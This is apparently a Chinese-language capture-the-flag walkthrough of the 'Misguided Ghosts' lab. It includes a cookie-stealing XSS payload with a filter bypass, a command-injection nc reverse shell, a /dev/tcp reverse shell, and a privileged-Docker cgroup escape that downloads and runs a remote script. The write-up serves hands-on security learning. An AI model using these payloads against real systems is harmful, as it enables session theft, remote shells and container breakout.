端口扫描

nmap --min-rate=10000 -p- 10.10.212.161
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-05 03:27 UTC
Nmap scan report for ip-10-10-212-161.eu-west-1.compute.internal (10.10.212.161)
Host is up (0.0044s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
MAC Address: 02:77:28:55:D0:B3 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 3.46 seconds
nmap -sT -sV -sC -O -p21,22 10.10.212.161
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-05 03:29 UTC
Nmap scan report for ip-10-10-212-161.eu-west-1.compute.internal (10.10.212.161)
Host is up (0.00060s latency).

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Aug 28 2020 pub
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.209.109
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d9918996afbc06b98d43df53dc1f8f12 (RSA)
| 256 250bbea2f9643ef1e315e823b88ce516 (ECDSA)
|_ 256 09599a84e66f01f3338e4844524914db (ED25519)
MAC Address: 02:77:28:55:D0:B3 (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), Linux 3.8 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.82 seconds

FTP

发现FTP能匿名登录,进去有三个文件,全部下载下来

有一个人名:paramore

以及一个流量包,但都是加密的流量,还有一个jokes但是没GET到

Getshell

有几条标红的TCP流量,说明流量是有问题的,而且都是由.131发往.128的

ip.addr==192.168.236.131

可以过滤出所有标红的TCP流量,得到源端口为7864 8273 9241 12007 60753

根据房间的knocking提示,大概率又是和之前打的房间一样需要knock来打开端口

knock 10.10.212.161 7864 8273 9241 12007 60753

再次用nmap扫描端口之后发现打开了8080端口

PORT     STATE SERVICE  VERSION
8080/tcp open ssl/http Werkzeug httpd 1.0.1 (Python 2.7.18)
|_http-server-header: Werkzeug/1.0.1 Python/2.7.18
|_http-title: Misguided Ghosts
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=misguided_ghosts.thm/organizationName=Misguided Ghosts/stateOrProvinceName=Williamson Country/countryName=TN
gobuster dir -u https://10.10.212.161:8080/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k

扫一下目录,存在一个console和login,第一想法其实是爆破密码,因为之前我们得到了一个类似用户名的东西。但是看了下WP还是决定不浪费时间了,浏览器左上角可以查看SSL的证书,发现是一个叫做zac的用户颁布的,于是尝试凭证zac:zac登录,进去发现可以发布帖子,大概率是XSS了。但是有过滤啊,XSS的绕过姿势还没怎么学过,抄个payload

<sscriptcript>alert('hi')</sscriptcript>

开启XSScookiestraler

发送XSSpayload,窃取管理员的cookie

<sscriptcript>var i=new Image;i.src="http://10.11.38.245:8888/?"+document.cookie;</sscriptcript>

得到cookies是hayley_is_admin

当我们带上cookie再次扫描目录时

gobuster dir -u https://10.10.212.161:8080/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -c "login=hayley_is_admin" -k 

找到了一个photos的目录,可以上传图片的样子,但是当我们上传的时候,却提示没有文件(目录)。而且发现有个GET方式传参的image,想起来房间的SSRF标签

抓个包发现它实际上并没有用POST方式来上传文件,而只是发送了一个GET请求,当我发送*查询所有文件时,有了回显。也许前面是一个查询本地文件的命令。试着用”;”拼接个命令,发现成功!但是似乎带有空格的命令执行不了,也许有黑名单过滤。

可以用${IFS}绕过,那么我们就能反弹shell了

当我执行

nc${IFS}10.11.38.245${IFS}1234${IFS}-e${IFS}/bin/bash

反弹shell时,不知道为什么连接秒断了,但是发现把bash改成sh之后就稳定了,后来想想也许是因为docker环境的问题没有bash?

docker逃逸

拿到shell之后是root权限,然后不出意外的话是docker

在/app目录内,有一个start.sh,用于启动容器。仔细看一下会发现很多细节:

宿主机的/var/www/https也许和容器内部的/app是连通的,/home/zac/notes也是连通的

而且开启容器的时候也开启了–privileged

然后在zac的家目录有一个私钥,下载到kali

chmod 600 id_rsa

但是发现这个密钥并不能用。还是有点难绷的。

我打算看看docker的部署是否有问题

根据这两篇文章

https://vickieli.dev/system%20security/escape-docker/

https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/

讲述了在开启privileged的情况下如何docker逃逸

首先我们先在本地写一个反弹shell的命令,并且开启web服务器,开启监听

/bin/sh -i >& /dev/tcp/10.11.38.245/1235 0>&1

然后在容器中执行

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo 'curl 10.11.38.245/shell.sh -o /dev/shm/shell.sh' >> /cmd
echo 'chmod +x /dev/shm/shell.sh' >> /cmd
echo 'sh /dev/shm/shell.sh' >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

但是不知道为何接收不到shell。但是找到了更快捷的方式

https://wiki.teamssix.com/cloudnative/docker/docker-privileged-escape.html

fdisk -l

发现有两个分区,dm-0显然是宿主机的分区

mount /dev/dm-0 /tmp

直接将宿主机的磁盘挂载到容器中的/tmp

碎碎念

前面getshell那里的窃取cookie的JS绕过还是比较难的吧,得去积累一下。然后docker逃逸也是学到了新的方式,虽然官方的预期解还有很多步骤要走,但是这个逃逸也是相当NB的。